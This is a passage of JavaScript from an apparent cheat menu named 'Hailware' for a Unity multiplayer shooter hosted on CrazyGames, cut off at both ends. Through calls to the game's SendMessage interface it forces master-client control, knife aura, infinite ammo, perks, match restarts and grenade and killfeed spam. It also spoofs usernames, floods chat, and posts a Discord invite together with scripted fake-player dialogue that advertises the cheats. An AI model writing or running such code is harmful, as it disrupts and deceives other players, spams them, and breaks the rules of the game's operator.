                        console.log('Login successful');
                        usernameField2.style.display = 'none';
                        passwordField2.style.display = 'none';
                        passwordField2.style.display = 'none';
                        loginButton.style.display = 'none';
                        uwu.style.display = 'none';

                        uiManager.addLabel(`Welcome to Hailware, ${usernameField2.value}!`);
                        let tabs = uiManager.createTabMenu([{
                                title: 'Hacks',
                                content: '<p>This is the content of Tab 1</p>'
                            },
                            {
                                title: 'Settings',
                                content: '<p>This is the content of Tab 2</p>'
                            }
                        ]);

                        let selectedUser = "";
                        let userBtn = undefined;
                        let uwu44 = undefined;
                        let tt = undefined;
                        let hackTabs = uiManager.createTabMenu([{
                                title: 'Main',
                                content: '<p>Idk</p>'
                            },
                            {
                                title: 'Weapon',
                                content: '<p>Nuts</p>'
                            },
                            {
                                title: 'Fun',
                                content: '<p>Misc</p>'
                            },
                            {
                                title: '(🔒) Owner',
                                content: '<p>Balls idk</p>'
                            },
                            {
                                title: 'Vehicle',
                                content: '<p>Balls idk</p>'
                            }
                        ]);

                        let spoofName = "";
                        let contentContainer = tabs.Containers;
                        tabs = tabs.UITabs;
                        let idkContainer = hackTabs.Containers;
                        hackTabs = hackTabs.UITabs;
                        let knifeAura = false;
                        let knifeAuraLoop = undefined;
                        let spamEnabled = false;
                        let spam = undefined;
                        let antiFlashEnabled = false;
                        let antiFlashLoop = undefined;
                        let infAmmoEnabled = false;
                        let intervalReloadAllRounds = undefined;

                        let isMasterClientIntervalRunning = false;
                        let intervalFindNewMasterClient = undefined;
                        let intervalBecomeMasterClient = undefined;
                        let isMasterClientIntervalRunning2 = false;
                        let intervalFindNewMasterClient2 = undefined;
                        let intervalBecomeMasterClient2 = undefined;
                        let sexinterval = undefined;
                        let chatMessageToSpam = "";
                        let chatSpam = false;
                        let spamInterval = undefined;
                        let advertiseMods = false;
                        let advertiseModsInterval = undefined;

                        function toggleMainMenu() {
                            if (mainMenu.style.display === 'none') {
                                mainMenu.style.display = 'block';
                            } else {
                                mainMenu.style.display = 'none';
                            }
                        }

                        function resetMenuPosition() {
                            mainMenu.style.top = `calc(50% - (${mainMenu.style.height} / 2))`;
                            mainMenu.style.left = `calc(50% - (${mainMenu.style.width} / 2))`;
                        }

                        document.addEventListener('keydown', function(event) {
                            if (event.key === 'Insert') {
                                toggleMainMenu();
                            } else if (event.key === 'Delete') {
                                resetMenuPosition();
                            }
                        });

                        function toggleMasterClientIntervals() {
                            if (isMasterClientIntervalRunning) {
                                clearInterval(intervalBecomeMasterClient);
                                clearInterval(intervalFindNewMasterClient);
                                isMasterClientIntervalRunning = false;
                                console.log("MasterClientIntervals: %cOff", "color: red");
                            } else {
                                intervalFindNewMasterClient = setInterval(() => {
                                    for (var i = 0; i < 10; i++) {
                                        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'UpdateCumulativeMovingAveragePing', 9999);
                                        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetPing', 9999);
                                        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'AddKillToStreak');
                                    }
                                }, 1);
                                intervalBecomeMasterClient = setInterval(() => {
                                    let unityInstance = Crazygames.getUnityInstance();
                                    unityInstance.SendMessage('PlayerBody(Clone)', 'BecomeMasterClient');
                                }, 1);
                                isMasterClientIntervalRunning = true;
                                console.log("MasterClientIntervals: %cOn", "color: green");

                            }
                        }

                        function toggleMasterClientIntervals2() {
                            if (isMasterClientIntervalRunning2) {
                                clearInterval(intervalBecomeMasterClient2);
                                clearInterval(intervalFindNewMasterClient2);
                                isMasterClientIntervalRunning2 = false;
                                console.log("MasterClientIntervals: %cOff", "color: red");
                            } else {
                                intervalFindNewMasterClient2 = setInterval(() => {
                                    for (var i = 0; i < 10000; i++) {
                                        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'UpdateCumulativeMovingAveragePing', 9999);
                                        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SetPing', 9999);
                                        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'AddKillToStreak');
                                    }
                                }, 1);
                                intervalBecomeMasterClient2 = setInterval(() => {
                                    let unityInstance = Crazygames.getUnityInstance();
                                    unityInstance.SendMessage('PlayerBody(Clone)', 'BecomeMasterClient');
                                }, 1);
                                isMasterClientIntervalRunning2 = true;
                                console.log("MasterClientIntervals: %cOn", "color: green");

                            }
                        }

                        hackTabs[4].uiTab.addButton("(NEW ★) Enter Car", () => {
                            let Function = "LocalPlayerTryEnterVehicle";
                            let Arguement = 0;
                            for (let i = 1; i <= 2; i++) {
                                Crazygames.getUnityInstance().SendMessage(`Vehicle (${i})`, Function, Arguement);
                            }
                        });

                        hackTabs[4].uiTab.addButton("(NEW ★) Enter APC", () => {
                            let Function = "LocalPlayerTryEnterVehicle";
                            let Arguement = 0;
                            for (let i = 1; i <= 4; i++) {
                                Crazygames.getUnityInstance().SendMessage(`APC_Vehicle (${i})`, Function, Arguement);
                            }
                        });

                        hackTabs[4].uiTab.addButton("(NEW ★) Enter Humvee", () => {
                            let Function = "LocalPlayerTryEnterVehicle";
                            let Arguement = 0;
                            for (let i = 1; i <= 2; i++) {
                                Crazygames.getUnityInstance().SendMessage(`Humvee_Vehicle (${i})`, Function, Arguement);
                            }
                        });

                        hackTabs[4].uiTab.addButton("(NEW ★) Enter Jet", () => {
                            let Function = "LocalPlayerTryEnterVehicle";
                            let Arguement = 0;
                            for (let i = 1; i <= 2; i++) {
                                Crazygames.getUnityInstance().SendMessage(`JetVehicle (${i})`, Function, Arguement);
                            }
                        });

                        hackTabs[4].uiTab.addButton("(NEW ★) Enter Helicopter", () => {
                            let Function = "LocalPlayerTryEnterVehicle";
                            let Arguement = 0;
                            for (let i = 1; i <= 2; i++) {
                                Crazygames.getUnityInstance().SendMessage(`HeliVehicle (${i})`, Function, Arguement);
                            }
                        });

                        tabs[1].uiTab.addButton("Clear Config", () => {
                            configManager.clear();
                            uiManager.createNotification('Hailware', 'Config was cleared!');
                        });

                        tabs[1].uiTab.addButton("Toggle BG Music", () => {
                            if (music.isPlaying) {
                                uiManager.createNotification('Hailware', 'BG music was disabled!');
                                music.stop();
                                configManager.save({
                                    "bgMusicVolume": configManager.get().bgMusicVolume,
                                    bgMusicEnabled: false
                                });
                            } else {
                                uiManager.createNotification('Hailware', 'BG music was enabled!');
                                music.play();
                                configManager.save({
                                    "bgMusicVolume": configManager.get().bgMusicVolume,
                                    bgMusicEnabled: true
                                });
                            }
                        });

                        let volume = 0.05;

                       let mp3url = tabs[1].uiTab.addTextInput("MP3 / OGG URL", () => {
                            music.stop();
                            music.audio = new Audio(mp3url.value);
                            music.play();
                            music.volume = volume;
                        });

                        let musicVolumeSlider = tabs[1].uiTab.addSlider(0, 1, 0.001, 0.05, "Volume", (val) => {
                            music.volume = val;
                            volume = val;
                            configManager.save({
                                "bgMusicVolume": val,
                                bgMusicEnabled: configManager.get().bgMusicEnabled
                            });
                        });

                        let config = configManager.get();

                        hackTabs[0].uiTab.addButton("(★) Add Kill To Streak", () => {
                            uiManager.createNotification('Hailware', 'Added a kill to your killstreak!');
                            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'AddKillToStreak');
                        });

                        hackTabs[3].uiTab.addLabel("Nothing here... Maybe you aren't the owner?");

                        hackTabs[0].uiTab.addButton("(★) Restart Match", () => {
                            uiManager.createNotification('Hailware', `Restarted the match!`);
                            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'RestartMatch');
                            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'ActualRestartMatch');
                        });

                        if (config.knifeAura !== undefined) {
                            knifeAura = config.knifeAura;
                        } else {
                            configManager.save({
                                "bgMusicVolume": configManager.get().bgMusicVolume,
                                bgMusicEnabled: configManager.get().bgMusicEnabled,
                                antiFlashEnabled: configManager.get().antiFlashEnabled,
                                knifeAura: false
                            });
                        }

                        let deathInterval = undefined;
                        let deathLoopEnabled = false;

                        hackTabs[0].uiTab.addButton("(NEW ) Random Death Loop", () => {
                            deathLoopEnabled = !deathLoopEnabled;
                            if (deathLoopEnabled) {
                                uiManager.createNotification('Hailware', 'Random Death Loop was enabled!');

                                deathInterval = setInterval(() => {
                                    Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'UpdateMPDeaths', Math.floor(Math.random() * 10000));
                                }, 250);
                            } else {
                                clearInterval(deathInterval);
                                uiManager.createNotification('Hailware', 'Random Death Loop was disabled!');
                            }
                        });

                        hackTabs[0].uiTab.addButton("(NEW ) Death 666 & 999 Loop", () => {
                            deathLoopEnabled = !deathLoopEnabled;
                            if (deathLoopEnabled) {
                                uiManager.createNotification('Hailware', 'Death Loop was enabled!');

                                deathInterval = setInterval(() => {
                                    Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'UpdateMPDeaths', 666);
                                    setTimeout(() => {
                                        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'UpdateMPDeaths', 999);
                                    }, 500);
                                }, 1000);
                            } else {
                                clearInterval(deathInterval);
                                uiManager.createNotification('Hailware', 'Death Loop was disabled!');
                            }
                        });

                        hackTabs[0].uiTab.addButton("(★) Knife Aura", () => {
                            knifeAura = !knifeAura;
                            if (knifeAura) {
                                uiManager.createNotification('Hailware', 'Knife aura was enabled!');
                                configManager.save({
                                    "bgMusicVolume": configManager.get().bgMusicVolume,
                                    bgMusicEnabled: configManager.get().bgMusicEnabled,
                                    antiFlashEnabled: configManager.get().antiFlashEnabled,
                                    knifeAura: true
                                });
                                knifeAuraLoop = setInterval(() => Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'DamageFromWeaponStab'), 10);
                            } else {
                                uiManager.createNotification('Hailware', 'Knife aura was disabled!');
                                configManager.save({
                                    "bgMusicVolume": configManager.get().bgMusicVolume,
                                    bgMusicEnabled: configManager.get().bgMusicEnabled,
                                    antiFlashEnabled: configManager.get().antiFlashEnabled,
                                    knifeAura: false
                                });
                                clearInterval(knifeAuraLoop);
                            }
                        });

                        hackTabs[2].uiTab.addButton("Grenade Spam", () => {
                            spamEnabled = !spamEnabled;
                            if (spamEnabled) {
                                uiManager.createNotification('Hailware', 'Grenade Spam was Enabled!');
                                var Module = Crazygames.getUnityInstance().Module;
                                var GameObject = "PlayerBody(Clone)";
                                var Function = "createGrenade";
                                var Parameters = [
                                    "true",
                                ]
                                var ArgumentTypes = [
                                    "bool",
                                ];
                                var Arguments = [GameObject, Function, Parameters];
                                var Response = Module.ccall("SendMessage", null, ["string", "string", ArgumentTypes], Arguments);

                                spam = setInterval(function() {
                                    var Response = Module.ccall("SendMessage", null, ["string", "string", ArgumentTypes], Arguments);
                                }, 100);
                            } else {
                                uiManager.createNotification('Hailware', 'Grenade Spam was disabled!');
                                clearInterval(spam);
                            }
                        });

                        let RandomGunLoopInterval = undefined;
                        let RandomGunLoopEnabled = false;
                        hackTabs[0].uiTab.addButton("Reset Deaths", () => {
                            uiManager.createNotification('Hailware', 'Reset Deaths!');
                            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'UpdateMPDeaths', 0);
                        });

                        hackTabs[0].uiTab.addButton("(NEW ★) Random Gun Cycle", () => {
                            RandomGunLoopEnabled = !RandomGunLoopEnabled;
                            if (RandomGunLoopEnabled) {
                                uiManager.createNotification('Hailware', 'Random Gun Cycle was enabled!');
                                RandomGunLoopInterval = setInterval(() => {
                                    Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'DropGun', Math.floor(Math.random() * 45));
                                    setTimeout(() => {
                                        Crazygames.getUnityInstance().SendMessage('PickUpWeapon', 'PickUpGun');
                                    }, 400);
                                }, 800);
                            } else {
                                clearInterval(RandomGunLoopInterval);
                                uiManager.createNotification('Hailware', 'Random Gun Cycle was disabled!');
                            }
                        });

                        hackTabs[0].uiTab.addButton("(★) Give All Perks", () => {
                            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'LoadPerks');
                            uiManager.createNotification('Hailware', 'LocalPlayer was given all perks!');
                        });

                        let killfeedSpamInterval = undefined;
                        let killfeedSpamEnabled = false;
                        let deathSoundSpamInterval = undefined;
                        let deathSoundSpamEnabled = false;

                        function getRandomAngle() {
                            return Math.random() * 360;
                        }
                        hackTabs[2].uiTab.addButton("(NEW ★) Weapon Spam", () => {
                            deathSoundSpamEnabled = !deathSoundSpamEnabled;
                            if (deathSoundSpamEnabled) {
                                uiManager.createNotification('Hailware', 'RPG Spam was enabled!');
                                deathSoundSpamInterval = setInterval(() => {
                                    Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'ProcessBulletFired');
                                    Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'fixAngle', getRandomAngle());
                                }, 10);
                            } else {
                                clearInterval(deathSoundSpamInterval);
                                uiManager.createNotification('Hailware', 'RPG Spam was disabled!');
                            }
                        });

                        hackTabs[2].uiTab.addButton("(★) Killfeed Spam", () => {
                            killfeedSpamEnabled = !killfeedSpamEnabled;
                            if (killfeedSpamEnabled) {
                                uiManager.createNotification('Hailware', 'Killfeed trolling was enabled!');
                                killfeedSpamInterval = setInterval(() => {
                                    for (var i = 0; i < 10; i++) {
                                        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SpectateNextPlayerOnTeam');
                                        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'throwGrenade');
                                        Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'Nuke');

                                        setTimeout(() => {
                                            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'Respawn');
                                            setTimeout(() => {
                                                Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'SwitchTeams');
                                            }, 100);
                                        }, 100);
                                    }
                                }, 300);
                            } else {
                                clearInterval(killfeedSpamInterval);
                                uiManager.createNotification('Hailware', 'Killfeed trolling was disabled!');
                            }
                        });

                        hackTabs[0].uiTab.addButton("Respawn", () => {
                            uiManager.createNotification('Hailware', 'Respawned!');
                            Crazygames.getUnityInstance().SendMessage('PlayerBody(Clone)', 'Respawn');
                        });

                        hackTabs[0].uiTab.addLabel("(H/N) Timescale");

                        let slider = hackTabs[0].uiTab.addSlider(0.1, 10, 0.1, 1, "Timescale", (value) => {
                            setTimeScale(value.toString());
                        });

                        slider.value = 1;

                        if (config.antiFlashEnabled !== undefined) {
                            antiFlashEnabled = config.antiFlashEnabled;
                        } else {
                            configManager.save({
                                "bgMusicVolume": configManager.get().bgMusicVolume,
                                bgMusicEnabled: configManager.get().bgMusicEnabled,
                                antiFlashEnabled: false,
                                knifeAura: configManager.get().knifeAura
                            });
                        }
                        hackTabs[0].uiTab.addButton("(★) Anti Flashbangs", () => {
                            antiFlashEnabled = !antiFlashEnabled;
                            if (!antiFlashEnabled) {
                                uiManager.createNotification('Hailware', 'Anti-Flashbangs was disabled!');
                                configManager.save({
                                    "bgMusicVolume": configManager.get().bgMusicVolume,
                                    bgMusicEnabled: configManager.get().bgMusicEnabled,
                                    antiFlashEnabled: false
                                });
                                clearInterval(antiFlashLoop);
                                return;
                            } else {
                                configManager.save({
                                    "bgMusicVolume": configManager.get().bgMusicVolume,
                                    bgMusicEnabled: configManager.get().bgMusicEnabled,
                                    antiFlashEnabled: true
                                });
                                uiManager.createNotification('Hailware', 'Anti-Flashbangs was enabled!');
                                antiFlashLoop = setInterval(function() {
                                    Crazygames.getUnityInstance().SendMessage("GameManager/Overlay Canvas/Flash", "ClearFlash");
                                }, 1);
                            }
                        });

                        hackTabs[0].uiTab.addButton("(★) Creative Mode", () => {
                            uiManager.createNotification('Hailware', `You are now in Minecraft!`);
                            Crazygames.getUnityInstance().SendMessage("GameManager", "InstantiateSpectator");
                        });


                        let users = ["Chad", "Solo", "Clint", "Carl", "Kiddo", "Potato", "Karl", "Penguin", "Sam", "Jay", "Jacob", "Kenny", "Garret", "Ryan", "Josh"];
                        let fart = 0;

                        hackTabs[2].uiTab.addButton("(★) Bee Movie", () => {
                            logBeeMovieScript();
                        });

                        hackTabs[0].uiTab.addButton("Try Enter Any Vehicle", () => {
                            let Function = "LocalPlayerTryEnterVehicle"
                            let Arguement = 1
                            for (let i = 1; i <= 4; i++) {
                                Crazygames.getUnityInstance().SendMessage(`APC_Vehicle (${i})`, Function, Arguement);
                            }
                            for (let i = 1; i <= 2; i++) {
                                Crazygames.getUnityInstance().SendMessage(`Humvee_Vehicle (${i})`, Function, Arguement);
                            }
                        });

                        hackTabs[2].uiTab.addButton("(★) Advertise Hailware", () => {
                            advertiseMods = !advertiseMods;

                            if (advertiseMods) {
                                uiManager.createNotification('Hailware', `Now advertising the discord invite in chat!`);
                                advertiseModsInterval = setInterval(() => {
                                    sendChatWithUsername("HAILWARE", "Want awesome mods? Join https://discord.gg/VZYCFh3TET");
                                }, 2500);
                            } else {
                                clearInterval(advertiseModsInterval);
                                uiManager.createNotification('Hailware', `Chat advertising was disabled!`);
                            }
                        });

                        if (config.infAmmoEnabled !== undefined) {
                            infAmmoEnabled = config.infAmmoEnabled;
                        } else {
                            configManager.save({
                                "bgMusicVolume": configManager.get().bgMusicVolume,
                                bgMusicEnabled: configManager.get().bgMusicEnabled,
                                antiFlashEnabled: configManager.get().antiFlashEnabled,
                                knifeAura: configManager.get().knifeAura,
                                infAmmoEnabled: false
                            });
                        }
                        hackTabs[0].uiTab.addButton("(★) Infinite Ammo", () => {
                            infAmmoEnabled = !infAmmoEnabled;
                            if (infAmmoEnabled) {
                                uiManager.createNotification('Hailware', `Infinite Ammo was enabled!`);
                                configManager.save({
                                    "bgMusicVolume": configManager.get().bgMusicVolume,
                                    bgMusicEnabled: configManager.get().bgMusicEnabled,
                                    antiFlashEnabled: configManager.get().antiFlashEnabled,
                                    knifeAura: configManager.get().knifeAura,
                                    infAmmoEnabled: true
                                });
                                intervalReloadAllRounds = setInterval(() => {
                                    let unityInstance = Crazygames.getUnityInstance();
                                    unityInstance.SendMessage('PlayerBody(Clone)', 'ReloadAllRounds');
                                }, 10);
                            } else {
                                uiManager.createNotification('Hailware', `Infinite Ammo was disabled!`);
                                configManager.save({
                                    "bgMusicVolume": configManager.get().bgMusicVolume,
                                    bgMusicEnabled: configManager.get().bgMusicEnabled,
                                    antiFlashEnabled: configManager.get().antiFlashEnabled,
                                    knifeAura: configManager.get().knifeAura,
                                    infAmmoEnabled: false
                                });
                                clearInterval(intervalReloadAllRounds);
                            }
                        });

                        let chatMessage = hackTabs[2].uiTab.addTextInput("Chat Message", () => {

                        });

                        let namespoofInterval = undefined;
                        let namespoofEnabled = false;

                        spoofName = hackTabs[2].uiTab.addTextInput("Spoofed Name", () => {

                        });

                        hackTabs[2].uiTab.addButton("(BACK ★) Name Spoof", () => {
                            namespoofEnabled = !namespoofEnabled;
                            if (namespoofEnabled) {
                                uiManager.createNotification('Hailware', `Spoofing username to ${chatMessageToSpam} in chat!`);
                                namespoofInterval = setInterval(() => {
                                let unityInstance = Crazygames.getUnityInstance();
                                unityInstance.SendMessage(
                                    'PlayerBody(Clone)',
                                    'updateUsername',
                                    `${spoofName.value}`
                                );
                                unityInstance.SendMessage('PlayerBody(Clone)', 'set_NickName', `${spoofName.value}`);
                                unityInstance.SendMessage(
                                    'PlayerBody(Clone)',
                                    'UsernameChanged',
                                    `${spoofName.value}`
                                );
                            }, 1);
                            } else {
                                uiManager.createNotification('Hailware', `Name spoof disabled!`);
                                clearInterval(namespoofInterval);
                            }
                        });

                        hackTabs[2].uiTab.addButton("(BEST ★) Chat Spam", () => {
                            chatMessageToSpam = chatMessage.value;
                            chatSpam = !chatSpam;
                            if (chatSpam) {
                                uiManager.createNotification('Hailware', `Spamming ${chatMessageToSpam} in chat!`);
                                spamInterval = setInterval(() => {
                                    sendChat(chatMessageToSpam.toString().trim());
                                }, 1000);
                            } else {
                                uiManager.createNotification('Hailware', `Chat spam is disabled!`);
                                clearInterval(spamInterval);
                            }
                        });

                        let teams = ["#e9582e", "#018bbd"];
                        let funnyArguementsEnabled2 = false;
                        let funnyArguementsInterval2 = undefined;

                        let funnyArguementsEnabled = false;
                        let funnyArguementsInterval = undefined;

                                                const gamerTags = [
                            "PixelRogueX",
                            "ThunderFang89",
                            "MysticViperZ",
                            "NovaShadow247",
                            "CyberSn1perX",
                            "PhantomFury99",
                            "BlazeTitan77",
                            "DarkPhoenixV",
                            "QuantumBlitzX",
                            "FrostReaperX",
                            "EclipseDynamoX",
                            "VortexHunter77",
                            "NeonFalconX",
                            "GhostRiderZ",
                            "BlitzStriker66",
                            "InfernoVortex88",
                            "StealthWraithX",
                            "PlasmaKnight77",
                            "OmegaWolf99",
                            "VenomStrikeX",
                            "CosmicRogue42",
                            "TempestXenon99",
                            "SavageWarlockX",
                            "LunarAssassin88",
                            "ShockwaveXero",
                            "ShadowDusk77",
                            "BlazePhoenix88",
                            "NeonSniper99",
                            "GalacticWraithX",
                            "StormReaperX",
                            "TitanVortex99",
                            "NuclearHunter77",
                            "CyberPhantomX",
                            "PlasmaFang44",
                            "FuryBlizzardX",
                            "InfernoKnight66",
                            "SolarRogue99",
                            "VortexSlayer77",
                            "MysticBlitzX",
                            "AlphaWolf42",
                            "PhoenixStrike88",
                            "OmegaVenomX",
                            "CosmicStriker77",
                            "NinjaFalcon99",
                            "GhostFuryX",
                            "BlizzardWarlock42",
                            "FrostTitanX",
                            "ShadowBlazeX",
                            "ThunderKnight77",
                            "NuclearFalconX",
                            "GalacticShadow88",
                            "DarkPhantom99",
                            "CyberReaperX",
                            "EclipseFang42",
                            "BlazeVortexX",
                            "StormHunter77",
                            "NovaAssassin88",
                            "PlasmaWolfX",
                            "MysticTitan42",
                            "TempestKnight77",
                            "ShadowReaperX",
                            "FrostStrike88",
                            "BlazeRogue99",
                            "InfernoShadowX",
                            "CosmicHunter42",
                            "OmegaBlizzardX",
                            "VortexFury77",
                            "PhantomVenomX",
                            "DarkFalcon88",
                            "SolarReaper99",
                            "TitanBlazeX",
                            "BlizzardFang42",
                            "CyberAssassinX",
                            "EclipseWarlock77",
                            "NinjaPhoenix99",
                            "GalacticKnightX",
                            "PlasmaBlaze66"
                        ];

                        const funnyLines = [
                            ["🐾 Lag killed me! 🐾", "🐾 Blame the Wi-Fi, not your aim. 🐾"],
                            ["I'm lost, where are you?", "In the lobby. Try harder."],
                            ["That was a headshot!", "On your own teammate?"],
                            ["Why are you crouching?", "Stealth mode... duh."],
                            ["GG!", "Yeah, for me."],
                            ["Follow me!", "Straight into a trap?"],
                            ["Heal me!", "I’m a tank, not a medic."],
                            ["My bad, wrong button.", "Your life is a wrong button."],
                            ["Sniper! Get down!", "You first."],
                            ["I’m pro!", "At dying, yeah."],
                            ["Let’s win this!", "I’m here for the memes."],
                            ["Who's got the bomb?", "Not me... oops."],
                            ["I need ammo!", "I need therapy."],
                            ["They’re flanking!", "We call that strategy."],
                            ["Camping is cheating!", "It’s a lifestyle."],
                            ["I’m in trouble!", "Me too, I’m stuck in this game."],
                            ["That’s a bug!", "You’re a bug."],
                            ["Rush B!", "I’m busy looting."],
                            ["That was close!", "Like your skill, almost."],
                            ["Push the payload!", "I’m pushing my patience."],
                            ["Why no backup?", "Backup? I thought you said snack up."],
                            ["Nerf this!", "Nerf your skill."],
                            ["I’m MVP!", "Most Vulnerable Player?"],
                            ["I need cover!", "I need a nap."],
                            ["AFK for a sec.", "Okay"],
                            ["Why am I always last?", "Because you’re slow."],
                            ["I’m carrying the team!", "Right into the ground."],
                            ["Who's the hacker?", "That would be my grandma."],
                            ["Where’s the objective?", "Where you died, obviously."],
                            ["Spawn camping much?", "Camping is my hobby."],
                            ["I'm invincible!", "You died right after saying that."],
                            ["Stop stealing my kills!", "Too slow, my friend."],
                            ["Teamwork!", "You mean YOU work, I watch."],
                            ["How did I miss that shot?", "It’s called bad aim."],
                            ["You're OP!", "That’s just my default mode."],
                            ["You're cheating!", "I’m just better, admit it."],
                            ["I can't hit anything!", "Blame your thumbs."],
                            ["Who picked this map?", "Not me, I hate it too."],
                            ["Let’s split up!", "So we can die separately?"],
                            ["I was distracted!", "By what? Your own skill?"],
                            ["Can’t hear you over my victory.", "Your victory is suspiciously quiet."],
                            ["I’m stuck!", "Stuck at being bad?"],
                            ["My screen froze!", "Maybe your brain too."],
                            ["How did we lose?", "Because you're on the team."],
                            ["I’m a natural at this!", "A natural disaster, maybe."],
                            ["I need backup!", "I need a miracle."],
                            ["I'm the MVP!", "Most Vanished Player?"],
                            ["I’m AFK!", "We noticed, don’t worry."],
                            // Adding 50 more funny lines
                            ["You guys are slow!", "You're still last, though."],
                            ["I got this!", "Famous last words."],
                            ["We need a new strategy!", "How about not dying?"],
                            ["Cover me!", "I’ll cover... from the spawn point."],
                            ["That was luck!", "No, that was skill."],
                            ["We’re winning!", "Don’t jinx it!"],
                            ["Don't worry, I have a plan.", "That’s what scares me."],
                            ["I'm lagging!", "Your skills are lagging too."],
                            ["This is easy!", "Says the one who just died."],
                            ["Who’s top frag?", "Definitely not you."],
                            ["I’m doing all the work!", "Sure, in your dreams."],
                            ["You missed that?", "Just warming up."],
                            ["I’m untouchable!", "Until someone touches you."],
                            ["No scope!", "No hope."],
                            ["I was reloading!", "You were retreating."],
                            ["Check this out!", "I'd rather not."],
                            ["I’m on fire!", "Yeah, in the bad way."],
                            ["I need healing!", "You need better aim."],
                            ["That was epic!", "No, that was tragic."],
                            ["I'm OP!", "Overconfident Player, maybe."],
                            ["This map is too big!", "So is your ego."],
                            ["I’m the best!", "At what, exactly?"],
                            ["Hold my drink!", "And watch you fail?"],
                            ["We’re dominating!", "Don’t get cocky now."],
                            ["I never lose!", "Except right now."],
                            ["That was close!", "For you, maybe."],
                            ["I'm going solo!", "Good luck with that."],
                            ["This game is broken!", "No, you are."],
                            ["I’ll go first!", "Sacrifice accepted."],
                            ["That’s my kill!", "Finders keepers."],
                            ["I'm flanking them!", "Or they’re flanking you."],
                            ["Watch me clutch this!", "I'm watching... you fail."],
                            ["I’m unstoppable!", "Until you stop."],
                            ["I'm going pro!", "In spectating?"],
                            ["You’re too slow!", "I’m tactical, not slow."],
                            ["I’ll carry the team!", "To our doom?"],
                            ["I’m dodging bullets!", "By standing still?"],
                            ["I’m leading the charge!", "Straight into failure."],
                            ["Watch this move!", "I’d rather not."],
                            ["I’m out of ammo!", "You’re out of excuses."],
                            ["We’ve got this!", "You’ve got something, alright."],
                            ["That was epic!", "That was embarrassing."],
                            ["I’m leveling up!", "At dying, yes."],
                            ["It’s over for them!", "It’s over for us."],
                            ["I’m unbeatable!", "Until you get beaten."]
                        ];

                        const clanTag = ["STAF", "HITS", "CXL", "MYBE", "TXT", "NONE", ":3"];

                        const funnyLines2 = [
                            ["Dude I suck at this game...", "Download cheats from Hailware! Improve your skill."],
                            ["Bro, I want hacks like other people.", "There's one for PC called Hailware."],
                            ["I'm so bad, how do I get better?", "Hailware has cheats to help you dominate."],
                            ["I keep losing!", "Maybe try Hailware for a boost."],
                            ["Everyone's hacking but me.", "Hailware can level the playing field."],
                            ["I wish I could win once in a while...", "Hailware can help with that!"],
                            ["What's the secret to winning?", "Hailware, obviously."],
                            ["This game is impossible!", "Not with Hailware cheats."],
                            ["I need hacks.", "Hailware’s got the best for PC."],
                            ["Why am I so bad at this?", "Hailware might be the answer."],
                            ["How do people get so good?", "They use Hailware."],
                            ["I'm tired of losing.", "Get Hailware to turn things around."],
                            ["Is there a hack for this game?", "Hailware is exactly what you need."],
                            ["This is too hard!", "Hailware makes it easy."],
                            ["How are they all cheating?", "They must be using Hailware."],
                            ["I can never get any kills!", "Try Hailware for some help."],
                            ["This game is rigged!", "Not if you use Hailware."],
                            ["Can I get some cheats?", "Check out Hailware!"],
                            ["I need a way to hack this.", "Hailware has you covered."],
                            ["This game feels impossible to win.", "Not with Hailware hacks."],
                            ["I want hacks too!", "Hailware can hook you up."],
                            ["I need some help here.", "Hailware can help you win."],
                            ["How do people cheat so well?", "They're probably using Hailware."],
                            ["I can't believe I'm this bad.", "Hailware might change that."],
                            ["Winning is impossible.", "Not if you’re using Hailware."],
                            ["I wish I could cheat.", "Hailware is what you're looking for."],
                            ["This is way too difficult.", "Try Hailware, it'll make it easy."],
                            ["I can't keep up with the hackers!", "Hailware can help you match them."],
                            ["I need some hacks to win.", "Get them at Hailware."],
                            ["Everyone's hacking but me!", "You should try Hailware."],
                            ["I feel like such a noob.", "Hailware can fix that for you."],
                            ["How do I get cheats?", "Hailware is the way to go."],
                            ["I need a cheat to win.", "Hailware offers what you need."],
                            ["I can't win at all.", "Maybe Hailware is the solution."],
                            ["I wish I had some hacks.", "Hailware can help with that."],
                            ["How are people hacking?", "They're probably using Hailware."],
                            ["I'm so tired of losing.", "Try Hailware for an edge."],
                            ["I need cheats like everyone else.", "Hailware can give you what you need."],
                            ["This game is unbeatable!", "Not with Hailware cheats."],
                            ["Can I hack this game?", "You can with Hailware."],
                            ["I need a better way to win.", "Hailware has what you need."],
                            ["Why can't I win?", "You could, with Hailware."],
                            ["I wish I could cheat.", "Try Hailware for some help."],
                            ["Why is everyone so much better than me?", "Hailware probably helps them."],
                            ["How do I cheat?", "Hailware can teach you."],
                            ["I'm so bad, it's embarrassing.", "Maybe give Hailware a try."],
                            ["I need a hack to keep up.", "Hailware has the best hacks."],
                            ["I'm tired of losing every match.", "Try Hailware and see the difference."],
                            ["I can't believe I keep losing.", "Hailware could change that."],
                            ["Everyone's so good at cheating!", "They must be using Hailware."]
                        ];

                        hackTabs[2].uiTab.addButton("(BEST ★) Funny Chat Arguements", () => {
                            funnyArguementsEnabled = !funnyArguementsEnabled;
                            if (funnyArguementsEnabled) {
                                uiManager.createNotification('Hailware', `Funny Chat Arguements was enabled!`);
                                funnyArguementsInterval = setInterval(() => {
